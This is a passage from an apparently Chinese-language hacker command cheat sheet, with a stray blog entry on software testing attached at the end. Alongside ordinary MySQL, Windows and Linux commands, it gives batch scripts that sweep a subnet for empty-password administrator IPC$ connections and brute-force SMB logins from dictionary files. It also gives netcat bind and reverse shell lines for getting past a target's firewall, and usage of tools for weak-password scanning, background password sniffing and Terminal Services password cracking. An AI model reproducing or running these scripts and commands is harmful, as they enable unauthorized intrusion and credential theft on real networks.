    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行〔危险〕
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
    -l 显示所有网络适配器
    -v 显示详细扫描进度
    -p 跳过没有响应的主机
    -o 跳过没有检测到开放端口的主机
    -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
    用法示例
    xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机
    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    #9 九:

    3、命令行方式嗅探器: xsniff.exe
    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
    参数说明
    -tcp 输出TCP数据报
    -udp 输出UDP数据报
    -icmp 输出ICMP数据报
    -pass 过滤密码信息
    -hide 后台运行
    -host 解析主机名
    -addr IP地址 过滤IP地址
    -port 端口 过滤端口
    -log 文件名 将输出保存到文件
    -asc 以ASCII形式输出
    -hex 以16进制形式输出
    用法示例
    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    4、终端服务密码破解: tscrack.exe

    参数说明
    -h 显示使用帮助
    -v 显示版本信息
    -s 在屏幕上打出解密能力
    -b 密码错误时发出的声音
    -t 同
  • 一般软件具体测试流程

    2008-06-20 12:43:43

    一般软件具体测试流程.JPG
Open Toolbar